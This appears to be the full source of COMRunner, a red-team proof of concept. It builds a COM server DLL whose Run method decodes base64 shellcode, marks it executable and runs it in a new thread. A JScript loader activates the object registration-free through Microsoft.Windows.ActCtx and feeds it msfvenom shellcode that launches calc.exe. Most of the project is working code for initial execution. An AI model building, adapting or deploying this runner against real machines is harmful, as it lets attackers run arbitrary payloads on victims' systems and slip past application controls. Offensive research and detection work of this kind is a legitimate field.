├── COMRunner
├── resource.rc
├── TestClass.tlb
├── resource.res
├── Source.def
├── COMRunner.vcxproj.user
├── TestClass.idl
├── dllmain.cpp
├── dlldata.c
├── object.h
├── COMRunner.vcxproj.filters
├── TestClass_i.c
├── Helpers.h
├── object.cpp
├── TestClass.h
├── COMRunner.vcxproj
└── TestClass_p.c
├── script.js
├── COMRunner.sln
└── README.md
/COMRunner/resource.rc:
--------------------------------------------------------------------------------
1 | 1 typelib "TestClass.tlb"
--------------------------------------------------------------------------------
/COMRunner/TestClass.tlb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leoloobeek/COMRunner/HEAD/COMRunner/TestClass.tlb
--------------------------------------------------------------------------------
/COMRunner/resource.res:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leoloobeek/COMRunner/HEAD/COMRunner/resource.res
--------------------------------------------------------------------------------
/COMRunner/Source.def:
--------------------------------------------------------------------------------
1 | LIBRARY
2 | EXPORTS
3 | DllCanUnloadNow @1 PRIVATE
4 | DllRegisterServer @2 PRIVATE
5 | DllUnregisterServer @3 PRIVATE
6 | DllGetClassObject @4 PRIVATE
--------------------------------------------------------------------------------
/COMRunner/COMRunner.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/COMRunner/TestClass.idl:
--------------------------------------------------------------------------------
1 |
2 |
3 | // Interface
4 | [
5 | object,
6 | uuid(67E11FF0-C068-4C48-A1F5-69A882E0E99A),
7 | helpstring("Leos Test Class"),
8 | pointer_default(unique),
9 | dual,
10 | oleautomation
11 | ]
12 | interface ITestClass : IDispatch
13 | {
14 | import "oaidl.idl";
15 | HRESULT SetData([in] BSTR data);
16 | HRESULT Run();
17 | };
18 |
19 | // Type Library
20 | [
21 | uuid("67E11FF1-C068-4C48-A1F5-69A882E0E99A"),
22 | version(1.0),
23 | helpstring("TestClass Type Library")
24 | ]
25 | library TestClassLib
26 | {
27 | importlib("stdole32.tlb");
28 |
29 | [
30 | uuid("67E11FF2-C068-4C48-A1F5-69A882E0E99A"),
31 | helpstring("TestClass Component Class")
32 | ]
33 | coclass TestClass
34 | {
35 | [default] interface ITestClass;
36 | };
37 | };
38 |
39 |
--------------------------------------------------------------------------------
/COMRunner/dllmain.cpp:
--------------------------------------------------------------------------------
1 | #include "object.h"
2 |
3 |
4 | typedef HRESULT(__stdcall* _DllGetClassObject)(REFCLSID rclsid, REFIID riid, LPVOID* ppv);
5 |
6 | UINT g_uThreadFinished;
7 | extern UINT g_uThreadFinished;
8 |
9 | BOOL APIENTRY DllMain(HMODULE hModule,
10 | DWORD ul_reason_for_call,
11 | LPVOID lpReserved
12 | )
13 | {
14 | if (ul_reason_for_call == DLL_PROCESS_ATTACH)
15 | {
16 | TestClassFactory::s_hModule = hModule;
17 | }
18 | return TRUE;
19 | }
20 |
21 | STDAPI DllCanUnloadNow(void)
22 | {
23 | return S_OK;
24 | }
25 | STDAPI DllRegisterServer(void)
26 | {
27 | return S_OK;
28 | }
29 | STDAPI DllUnregisterServer(void)
30 | {
31 | return S_OK;
32 | }
33 |
34 | STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
35 | {
36 | TestClassFactory* pFactory = new TestClassFactory();
37 | HRESULT hr = pFactory->QueryInterface(riid, ppv);
38 | pFactory->Release();
39 | return hr;
40 | }
41 |
--------------------------------------------------------------------------------
/COMRunner/dlldata.c:
--------------------------------------------------------------------------------
1 | /*********************************************************
2 | DllData file -- generated by MIDL compiler
3 |
4 | DO NOT ALTER THIS FILE
5 |
6 | This file is regenerated by MIDL on every IDL file compile.
7 |
8 | To completely reconstruct this file, delete it and rerun MIDL
9 | on all the IDL files in this DLL, specifying this file for the
10 | /dlldata command line option
11 |
12 | *********************************************************/
13 |
14 | #define PROXY_DELEGATION
15 |
16 | #include
17 |
18 | #ifdef __cplusplus
19 | extern "C" {
20 | #endif
21 |
22 | EXTERN_PROXY_FILE( TestClass )
23 |
24 |
25 | PROXYFILE_LIST_START
26 | /* Start of list */
27 | REFERENCE_PROXY_FILE( TestClass ),
28 | /* End of list */
29 | PROXYFILE_LIST_END
30 |
31 |
32 | DLLDATA_ROUTINES( aProxyFileList, GET_DLL_CLSID )
33 |
34 | #ifdef __cplusplus
35 | } /*extern "C" */
36 | #endif
37 |
38 | /* end of generated dlldata file */
39 |
--------------------------------------------------------------------------------
/script.js:
--------------------------------------------------------------------------------
1 | var manifestXML = ' '
2 |
3 | var s = new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = "C:\\path\\to\\dll\\";
4 |
5 | var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx");
6 | actCtx.ManifestText = manifestXML;
7 |
8 | var tc = actCtx.CreateObject("TestClass");
9 | // msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread | base64 -w0
10 | tc.SetData("/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA");
11 | tc.Run();
12 |
--------------------------------------------------------------------------------
/COMRunner.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29609.76
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COMRunner", "COMRunner\COMRunner.vcxproj", "{BD5F7510-C660-4017-A472-F722EA744C96}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {BD5F7510-C660-4017-A472-F722EA744C96}.Debug|x64.ActiveCfg = Debug|x64
17 | {BD5F7510-C660-4017-A472-F722EA744C96}.Debug|x64.Build.0 = Debug|x64
18 | {BD5F7510-C660-4017-A472-F722EA744C96}.Debug|x86.ActiveCfg = Debug|Win32
19 | {BD5F7510-C660-4017-A472-F722EA744C96}.Debug|x86.Build.0 = Debug|Win32
20 | {BD5F7510-C660-4017-A472-F722EA744C96}.Release|x64.ActiveCfg = Release|x64
21 | {BD5F7510-C660-4017-A472-F722EA744C96}.Release|x64.Build.0 = Release|x64
22 | {BD5F7510-C660-4017-A472-F722EA744C96}.Release|x86.ActiveCfg = Release|Win32
23 | {BD5F7510-C660-4017-A472-F722EA744C96}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {CA8F5E1A-92F1-4830-B1EB-E6CE49B0C223}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/COMRunner/object.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 | #include "Helpers.h"
6 | #include "TestClass.h"
7 |
8 | class TestClass : public ITestClass
9 | {
10 | public:
11 | // IUnknown
12 | ULONG __stdcall AddRef();
13 | ULONG __stdcall Release();
14 | HRESULT __stdcall QueryInterface(REFIID riid, void** ppv);
15 | // IDispatch
16 | HRESULT __stdcall GetTypeInfoCount(UINT* pctinfo);
17 | HRESULT __stdcall GetTypeInfo(UINT iTypeInfo, LCID, ITypeInfo** ppTypeInfo);
18 | HRESULT __stdcall GetIDsOfNames(REFIID riid, LPOLESTR* rgszNames, UINT cNames, LCID, DISPID* rgDispId);
19 | HRESULT __stdcall Invoke(DISPID dispIdMember, REFIID riid, LCID, WORD wFlags, DISPPARAMS* pDispParams, VARIANT* pVarResult, EXCEPINFO* pExcepInfo, UINT* puArgErr);
20 | // ITestClass
21 | HRESULT __stdcall SetData(wchar_t* data);
22 | HRESULT __stdcall Run();
23 |
24 | // Init loads our Type library
25 | HRESULT Init();
26 |
27 | // Constructor
28 | TestClass() : m_cRef(1) {};
29 | ~TestClass() {
30 | if (m_pITypeInfo != NULL)
31 | m_pITypeInfo->Release();
32 | };
33 |
34 | private:
35 | ULONG m_cRef;
36 | std::string shellcode;
37 | ITypeInfo* m_pITypeInfo;
38 | };
39 |
40 | class TestClassFactory : public IClassFactory
41 | {
42 |
43 | public:
44 | // IUnknown
45 | ULONG __stdcall AddRef();
46 | ULONG __stdcall Release();
47 | HRESULT __stdcall QueryInterface(REFIID riid, void** ppv);
48 |
49 | HRESULT __stdcall CreateInstance(IUnknown* pUnknownOuter, const IID& iid, void** ppv);
50 | HRESULT __stdcall LockServer(BOOL bLock);
51 |
52 | TestClassFactory() : m_cRef(1) {};
53 |
54 | static HMODULE s_hModule;
55 |
56 | private:
57 | ULONG m_cRef;
58 |
59 | };
60 |
61 | static const unsigned char base64_table[65] =
62 | "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
63 |
64 | unsigned char* my_base64_decode(const unsigned char* src, size_t len, size_t* out_len);
--------------------------------------------------------------------------------
/COMRunner/COMRunner.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 |
32 |
33 | Source Files
34 |
35 |
36 |
37 |
38 |
39 | Header Files
40 |
41 |
42 | Header Files
43 |
44 |
45 | Header Files
46 |
47 |
48 | Header Files
49 |
50 |
51 |
52 |
53 | Resource Files
54 |
55 |
56 |
--------------------------------------------------------------------------------
/COMRunner/TestClass_i.c:
--------------------------------------------------------------------------------
1 |
2 |
3 | /* this ALWAYS GENERATED file contains the IIDs and CLSIDs */
4 |
5 | /* link this file in with the server and any clients */
6 |
7 |
8 | /* File created by MIDL compiler version 8.01.0622 */
9 | /* at Mon Jan 18 19:14:07 2038
10 | */
11 | /* Compiler settings for TestClass.idl:
12 | Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0622
13 | protocol : dce , ms_ext, c_ext, robust
14 | error checks: allocation ref bounds_check enum stub_data
15 | VC __declspec() decoration level:
16 | __declspec(uuid()), __declspec(selectany), __declspec(novtable)
17 | DECLSPEC_UUID(), MIDL_INTERFACE()
18 | */
19 | /* @@MIDL_FILE_HEADING( ) */
20 |
21 | #pragma warning( disable: 4049 ) /* more than 64k source lines */
22 |
23 |
24 | #ifdef __cplusplus
25 | extern "C"{
26 | #endif
27 |
28 |
29 | #include
30 | #include
31 |
32 | #ifdef _MIDL_USE_GUIDDEF_
33 |
34 | #ifndef INITGUID
35 | #define INITGUID
36 | #include
37 | #undef INITGUID
38 | #else
39 | #include
40 | #endif
41 |
42 | #define MIDL_DEFINE_GUID(type,name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8) \
43 | DEFINE_GUID(name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8)
44 |
45 | #else // !_MIDL_USE_GUIDDEF_
46 |
47 | #ifndef __IID_DEFINED__
48 | #define __IID_DEFINED__
49 |
50 | typedef struct _IID
51 | {
52 | unsigned long x;
53 | unsigned short s1;
54 | unsigned short s2;
55 | unsigned char c[8];
56 | } IID;
57 |
58 | #endif // __IID_DEFINED__
59 |
60 | #ifndef CLSID_DEFINED
61 | #define CLSID_DEFINED
62 | typedef IID CLSID;
63 | #endif // CLSID_DEFINED
64 |
65 | #define MIDL_DEFINE_GUID(type,name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8) \
66 | EXTERN_C __declspec(selectany) const type name = {l,w1,w2,{b1,b2,b3,b4,b5,b6,b7,b8}}
67 |
68 | #endif // !_MIDL_USE_GUIDDEF_
69 |
70 | MIDL_DEFINE_GUID(IID, IID_ITestClass,0x67E11FF0,0xC068,0x4C48,0xA1,0xF5,0x69,0xA8,0x82,0xE0,0xE9,0x9A);
71 |
72 |
73 | MIDL_DEFINE_GUID(IID, LIBID_TestClassLib,0x67E11FF1,0xC068,0x4C48,0xA1,0xF5,0x69,0xA8,0x82,0xE0,0xE9,0x9A);
74 |
75 |
76 | MIDL_DEFINE_GUID(CLSID, CLSID_TestClass,0x67E11FF2,0xC068,0x4C48,0xA1,0xF5,0x69,0xA8,0x82,0xE0,0xE9,0x9A);
77 |
78 | #undef MIDL_DEFINE_GUID
79 |
80 | #ifdef __cplusplus
81 | }
82 | #endif
83 |
84 |
85 |
86 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # COMRunner
2 | A simple COM server which provides a component to run shellcode. Also includes a Windows JScript file to
3 | load the COM server and create the object with registration-free activation. This PoC COM server provides an object
4 | with a method that takes in base64 encoded shellcode and a method to run the shellcode.
5 |
6 | For a more exhaustive background, see the blog post here: https://adapt-and-attack.com/2020/05/12/building-a-com-server-for-initial-execution/
7 |
8 | ## Contents
9 | COM Client (JScript) to activate the object and run shellcode
10 | - `script.js`
11 |
12 | COM Class definition and C++ implementation:
13 | - `COMRunner\object.cpp`
14 | - `COMRunner\object.h`
15 |
16 | IDL Object Definition:
17 | - `COMRunner\TestClass.idl`
18 |
19 | Generated files from [midl.exe](https://docs.microsoft.com/en-us/windows/win32/midl/using-the-midl-compiler-2) compilation:
20 | - `COMRunner\TestClass.h`
21 | - `COMRunner\TestClass.tlb`
22 | - `COMRunner\TestClass_i.c`
23 | - `COMRunner\TestClass_p.c`
24 | - `COMRunner\dlldata.c`
25 |
26 | Resource Embedding:
27 | - `COMRunner\resource.rc` specifying resources to embed
28 | - `COMRunner\resource.res` generated file from `rc COMRunner\resource.rc`, file is pulled in to embed TLB at compile time
29 |
30 | Other:
31 | - `COMRunner\dllmain.cpp` has typical dllmain functions and `DllGetClassObject` implementation
32 | - `COMRunner\Helpers.h` includes some helper functions
33 | - `COMRunner\Source.def` defines exported functions
34 |
35 | ## Changing the Object
36 | As described later in the blog post, which is probably the best way to understand if this is new to you,
37 | the COM object's structure is identified in the `TestClass.idl` file. If you want to add another method
38 | or take an additional input, you will want to follow these general steps. These may not be the only way, so feel
39 | free to stray away as well.
40 |
41 | 1. Update the `TestClass.idl` with your desired changes
42 | 2. Regenerate files with `midl.exe TestClass.idl`
43 | 3. The new TLB needs to be embedded. Run `rc resource.rc` to generated a new `resource.res`
44 | 4. Update `object.h` class to ensure it implements your new interface defined in `TestClass.idl`
45 | 5. Update `object.cpp` to change/add/remove your object's method's code
46 |
47 | ## Thanks
48 | - Much thanks to [@subTee](https://twitter.com/subTee) for the research this was built on: https://www.youtube.com/watch?v=BIJ2L_rM9Gc
49 | - [Inside COM](https://www.amazon.com/Inside-Microsoft-Programming-Dale-Rogerson/dp/1572313498) by Dale Rogerson
50 | - For ClassFactory code: https://www.codeguru.com/cpp/com-tech/activex/tutorials/article.php/c5567/Step-by-Step-COM-Tutorial.htm
51 |
--------------------------------------------------------------------------------
/COMRunner/Helpers.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 |
5 | //
6 | // All this code taken directly from Dark Side Ops by Silent Break Security
7 | // Follow @monoxgas, @moo_hax, and take the course!
8 | //
9 |
10 | static inline void a3_to_a4(unsigned char* a4, unsigned char* a3) {
11 | a4[0] = (a3[0] & 0xfc) >> 2;
12 | a4[1] = ((a3[0] & 0x03) << 4) + ((a3[1] & 0xf0) >> 4);
13 | a4[2] = ((a3[1] & 0x0f) << 2) + ((a3[2] & 0xc0) >> 6);
14 | a4[3] = (a3[2] & 0x3f);
15 | }
16 |
17 | static inline void a4_to_a3(unsigned char* a3, unsigned char* a4) {
18 | a3[0] = (a4[0] << 2) + ((a4[1] & 0x30) >> 4);
19 | a3[1] = ((a4[1] & 0xf) << 4) + ((a4[2] & 0x3c) >> 2);
20 | a3[2] = ((a4[2] & 0x3) << 6) + a4[3];
21 | }
22 |
23 | static inline unsigned char b64_lookup(unsigned char c) {
24 | if (c >= 'A' && c <= 'Z') return c - 'A';
25 | if (c >= 'a' && c <= 'z') return c - 71;
26 | if (c >= '0' && c <= '9') return c + 4;
27 | if (c == '+') return 62;
28 | if (c == '/') return 63;
29 | return 255;
30 | }
31 |
32 | static int DecodedLength(const std::string& in) {
33 | int numEq = 0;
34 | int n = (int)in.size();
35 |
36 | for (std::string::const_reverse_iterator it = in.rbegin(); *it == '='; ++it) {
37 | ++numEq;
38 | }
39 |
40 | return ((6 * n) / 8) - numEq;
41 | }
42 |
43 | static bool Base64Decode(const std::string& in, std::string* out) {
44 | int i = 0, j = 0;
45 | size_t dec_len = 0;
46 | unsigned char a3[3];
47 | unsigned char a4[4];
48 |
49 | int input_len = (int)in.size();
50 | std::string::const_iterator input = in.begin();
51 |
52 | out->resize(DecodedLength(in));
53 |
54 | while (input_len--) {
55 | if (*input == '=') {
56 | break;
57 | }
58 |
59 | a4[i++] = *(input++);
60 | if (i == 4) {
61 | for (i = 0; i < 4; i++) {
62 | a4[i] = b64_lookup(a4[i]);
63 | }
64 |
65 | a4_to_a3(a3, a4);
66 |
67 | for (i = 0; i < 3; i++) {
68 | (*out)[dec_len++] = a3[i];
69 | }
70 |
71 | i = 0;
72 | }
73 | }
74 |
75 | if (i) {
76 | for (j = i; j < 4; j++) {
77 | a4[j] = '\0';
78 | }
79 |
80 | for (j = 0; j < 4; j++) {
81 | a4[j] = b64_lookup(a4[j]);
82 | }
83 |
84 | a4_to_a3(a3, a4);
85 |
86 | for (j = 0; j < i - 1; j++) {
87 | (*out)[dec_len++] = a3[j];
88 | }
89 | }
90 |
91 | return (dec_len == out->size());
92 | }
93 |
94 | const char kBase64Alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
95 | "abcdefghijklmnopqrstuvwxyz"
96 | "0123456789+/";
97 |
98 | static std::wstring s2ws(const std::string& s)
99 | {
100 | int len;
101 | int slength = (int)s.length() + 1;
102 | len = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), slength, 0, 0);
103 | std::wstring r(len, L'\0');
104 | MultiByteToWideChar(CP_UTF8, 0, s.c_str(), slength, &r[0], len);
105 | return r;
106 | }
107 |
108 | static std::string ws2s(const std::wstring& s)
109 | {
110 | int len;
111 | int slength = (int)s.length() + 1;
112 | len = WideCharToMultiByte(CP_UTF8, 0, s.c_str(), slength, 0, 0, 0, 0);
113 | std::string r(len, '\0');
114 | WideCharToMultiByte(CP_UTF8, 0, s.c_str(), slength, &r[0], len, 0, 0);
115 | return r;
116 | }
--------------------------------------------------------------------------------
/COMRunner/object.cpp:
--------------------------------------------------------------------------------
1 | #include "object.h"
2 | #include
3 |
4 | HMODULE TestClassFactory::s_hModule = NULL;
5 |
6 | HRESULT __stdcall TestClass::SetData(wchar_t* data) {
7 | std::wstring wide = std::wstring(data);
8 | std::string base64;
9 | std::string decoded;
10 |
11 | base64 = ws2s(wide);
12 | Base64Decode(base64, &decoded);
13 | shellcode = decoded;
14 |
15 | return S_OK;
16 | }
17 |
18 | HRESULT __stdcall TestClass::Run() {
19 | DWORD old;
20 | SIZE_T shellcodeSize = (SIZE_T)shellcode.length();
21 | PVOID pShellcode = LocalAlloc(LPTR, shellcodeSize);
22 | CopyMemory(pShellcode, shellcode.c_str(), shellcodeSize);
23 | if (!VirtualProtect(pShellcode, shellcodeSize, PAGE_EXECUTE_READWRITE, &old))
24 | return FALSE;
25 |
26 | HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, NULL);
27 | WaitForSingleObject(hThread, INFINITE);
28 | return S_OK;
29 | }
30 |
31 | // IUnknown
32 | ULONG __stdcall TestClass::AddRef() {
33 | return InterlockedIncrement(&m_cRef);
34 | }
35 |
36 | ULONG __stdcall TestClass::Release() {
37 | ULONG nRefCount = 0;
38 | nRefCount = InterlockedDecrement(&m_cRef);
39 | if (nRefCount == 0) {
40 | delete this;
41 | return 0;
42 | }
43 | return m_cRef;
44 | }
45 |
46 | HRESULT __stdcall TestClass::QueryInterface(REFIID riid, void** ppv) {
47 | if (riid == IID_IUnknown) {
48 | *ppv = (IUnknown*)this;
49 | }
50 | else if (riid == IID_ITestClass) {
51 | *ppv = (ITestClass*)this;
52 | }
53 | else if (riid == IID_IDispatch) {
54 | *ppv = (IDispatch*)this;
55 | }
56 | else {
57 | *ppv = NULL;
58 | return E_NOINTERFACE;
59 | }
60 | AddRef();
61 | return S_OK;
62 | }
63 |
64 | // IDispatch
65 | HRESULT __stdcall TestClass::GetTypeInfoCount(UINT* pctinfo) {
66 | *pctinfo = 1;
67 |
68 | return S_OK;
69 | }
70 |
71 | HRESULT __stdcall TestClass::GetTypeInfo(UINT iTypeInfo, LCID, ITypeInfo** ppTypeInfo) {
72 | *ppTypeInfo = NULL;
73 |
74 | if (iTypeInfo != 0)
75 | {
76 | return DISP_E_BADINDEX;
77 | }
78 |
79 | // Call AddRef and return the pointer.
80 | m_pITypeInfo->AddRef();
81 | *ppTypeInfo = m_pITypeInfo;
82 |
83 | return S_OK;
84 | }
85 |
86 | HRESULT __stdcall TestClass::GetIDsOfNames(REFIID riid, LPOLESTR* rgszNames, UINT cNames, LCID, DISPID* rgDispId) {
87 | if (riid != IID_NULL)
88 | return DISP_E_UNKNOWNINTERFACE;
89 |
90 | HRESULT hr = m_pITypeInfo->GetIDsOfNames(rgszNames, cNames, rgDispId);
91 |
92 | return hr;
93 | }
94 |
95 | HRESULT __stdcall TestClass::Invoke(DISPID dispIdMember, REFIID riid, LCID, WORD wFlags, DISPPARAMS* pDispParams, VARIANT* pVarResult, EXCEPINFO* pExcepInfo, UINT* puArgErr) {
96 | if (riid != IID_NULL)
97 | return DISP_E_UNKNOWNINTERFACE;
98 |
99 | HRESULT hr = m_pITypeInfo->Invoke(
100 | static_cast(this), dispIdMember, wFlags, pDispParams, pVarResult, pExcepInfo, puArgErr);
101 |
102 | return hr;
103 | }
104 |
105 | //
106 | // TestClassFactory
107 | //
108 |
109 | ULONG __stdcall TestClassFactory::AddRef() {
110 | return ++m_cRef;
111 | }
112 |
113 | ULONG __stdcall TestClassFactory::Release() {
114 | if (--m_cRef != 0)
115 | return m_cRef;
116 | delete this;
117 | return 0;
118 | }
119 |
120 | HRESULT __stdcall TestClassFactory::QueryInterface(REFIID riid, void** ppv) {
121 |
122 | if (riid == IID_IUnknown) {
123 | *ppv = (IUnknown*)this;
124 | }
125 | else if (riid == IID_ITestClass) {
126 | *ppv = (ITestClass*)this;
127 | }
128 | else if (riid == IID_IClassFactory) {
129 | *ppv = (IClassFactory*)this;
130 | }
131 | else {
132 | *ppv = NULL;
133 | return E_NOINTERFACE;
134 | }
135 | AddRef();
136 | return S_OK;
137 | }
138 |
139 | HRESULT __stdcall TestClassFactory::CreateInstance(IUnknown* pUnknownOuter, const IID& iid, void** ppv) {
140 | wchar_t* a;
141 | StringFromIID(iid, &a);
142 | if (pUnknownOuter != NULL)
143 | return CLASS_E_NOAGGREGATION;
144 |
145 | TestClass* testClass = new TestClass;
146 | if (testClass == NULL)
147 | return E_OUTOFMEMORY;
148 | HRESULT hr = testClass->Init();
149 | if (FAILED(hr)) {
150 | testClass->Release();
151 | return hr;
152 | }
153 | hr = testClass->QueryInterface(iid, ppv);
154 | testClass->Release();
155 | return hr;
156 | }
157 |
158 | HRESULT __stdcall TestClassFactory::LockServer(BOOL bLock) {
159 | return E_NOTIMPL;
160 | }
161 |
162 | // Helper to initialize our Type Library
163 | HRESULT __stdcall TestClass::Init() {
164 | HRESULT hr;
165 |
166 | // Load TypeInfo on demand if we haven't already loaded it.
167 | if (m_pITypeInfo == NULL)
168 | {
169 | ITypeLib* pITypeLib = NULL;
170 | wchar_t path[MAX_PATH];
171 | GetModuleFileNameW(TestClassFactory::s_hModule, path, MAX_PATH);
172 | hr = LoadTypeLibEx(path, REGKIND_NONE, &pITypeLib);
173 | if (FAILED(hr))
174 | {
175 | return hr;
176 | }
177 |
178 | // Get type information for the interface of the object.
179 | hr = pITypeLib->GetTypeInfoOfGuid(IID_ITestClass, &m_pITypeInfo);
180 | pITypeLib->Release();
181 |
182 | if (FAILED(hr))
183 | {
184 | return hr;
185 | }
186 | }
187 |
188 | return S_OK;
189 | }
190 |
--------------------------------------------------------------------------------
/COMRunner/TestClass.h:
--------------------------------------------------------------------------------
1 |
2 |
3 | /* this ALWAYS GENERATED file contains the definitions for the interfaces */
4 |
5 |
6 | /* File created by MIDL compiler version 8.01.0622 */
7 | /* at Mon Jan 18 19:14:07 2038
8 | */
9 | /* Compiler settings for TestClass.idl:
10 | Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0622
11 | protocol : dce , ms_ext, c_ext, robust
12 | error checks: allocation ref bounds_check enum stub_data
13 | VC __declspec() decoration level:
14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable)
15 | DECLSPEC_UUID(), MIDL_INTERFACE()
16 | */
17 | /* @@MIDL_FILE_HEADING( ) */
18 |
19 | #pragma warning( disable: 4049 ) /* more than 64k source lines */
20 |
21 |
22 | /* verify that the version is high enough to compile this file*/
23 | #ifndef __REQUIRED_RPCNDR_H_VERSION__
24 | #define __REQUIRED_RPCNDR_H_VERSION__ 475
25 | #endif
26 |
27 | #include "rpc.h"
28 | #include "rpcndr.h"
29 |
30 | #ifndef __RPCNDR_H_VERSION__
31 | #error this stub requires an updated version of
32 | #endif /* __RPCNDR_H_VERSION__ */
33 |
34 | #ifndef COM_NO_WINDOWS_H
35 | #include "windows.h"
36 | #include "ole2.h"
37 | #endif /*COM_NO_WINDOWS_H*/
38 |
39 | #ifndef __TestClass_h__
40 | #define __TestClass_h__
41 |
42 | #if defined(_MSC_VER) && (_MSC_VER >= 1020)
43 | #pragma once
44 | #endif
45 |
46 | /* Forward Declarations */
47 |
48 | #ifndef __ITestClass_FWD_DEFINED__
49 | #define __ITestClass_FWD_DEFINED__
50 | typedef interface ITestClass ITestClass;
51 |
52 | #endif /* __ITestClass_FWD_DEFINED__ */
53 |
54 |
55 | #ifndef __TestClass_FWD_DEFINED__
56 | #define __TestClass_FWD_DEFINED__
57 |
58 | #ifdef __cplusplus
59 | typedef class TestClass TestClass;
60 | #else
61 | typedef struct TestClass TestClass;
62 | #endif /* __cplusplus */
63 |
64 | #endif /* __TestClass_FWD_DEFINED__ */
65 |
66 |
67 | /* header files for imported files */
68 | #include "oaidl.h"
69 |
70 | #ifdef __cplusplus
71 | extern "C"{
72 | #endif
73 |
74 |
75 | #ifndef __ITestClass_INTERFACE_DEFINED__
76 | #define __ITestClass_INTERFACE_DEFINED__
77 |
78 | /* interface ITestClass */
79 | /* [oleautomation][dual][unique][helpstring][uuid][object] */
80 |
81 |
82 | EXTERN_C const IID IID_ITestClass;
83 |
84 | #if defined(__cplusplus) && !defined(CINTERFACE)
85 |
86 | MIDL_INTERFACE("67E11FF0-C068-4C48-A1F5-69A882E0E99A")
87 | ITestClass : public IDispatch
88 | {
89 | public:
90 | virtual HRESULT STDMETHODCALLTYPE SetData(
91 | /* [in] */ BSTR data) = 0;
92 |
93 | virtual HRESULT STDMETHODCALLTYPE Run( void) = 0;
94 |
95 | };
96 |
97 |
98 | #else /* C style interface */
99 |
100 | typedef struct ITestClassVtbl
101 | {
102 | BEGIN_INTERFACE
103 |
104 | HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
105 | ITestClass * This,
106 | /* [in] */ REFIID riid,
107 | /* [annotation][iid_is][out] */
108 | _COM_Outptr_ void **ppvObject);
109 |
110 | ULONG ( STDMETHODCALLTYPE *AddRef )(
111 | ITestClass * This);
112 |
113 | ULONG ( STDMETHODCALLTYPE *Release )(
114 | ITestClass * This);
115 |
116 | HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )(
117 | ITestClass * This,
118 | /* [out] */ UINT *pctinfo);
119 |
120 | HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )(
121 | ITestClass * This,
122 | /* [in] */ UINT iTInfo,
123 | /* [in] */ LCID lcid,
124 | /* [out] */ ITypeInfo **ppTInfo);
125 |
126 | HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )(
127 | ITestClass * This,
128 | /* [in] */ REFIID riid,
129 | /* [size_is][in] */ LPOLESTR *rgszNames,
130 | /* [range][in] */ UINT cNames,
131 | /* [in] */ LCID lcid,
132 | /* [size_is][out] */ DISPID *rgDispId);
133 |
134 | /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )(
135 | ITestClass * This,
136 | /* [annotation][in] */
137 | _In_ DISPID dispIdMember,
138 | /* [annotation][in] */
139 | _In_ REFIID riid,
140 | /* [annotation][in] */
141 | _In_ LCID lcid,
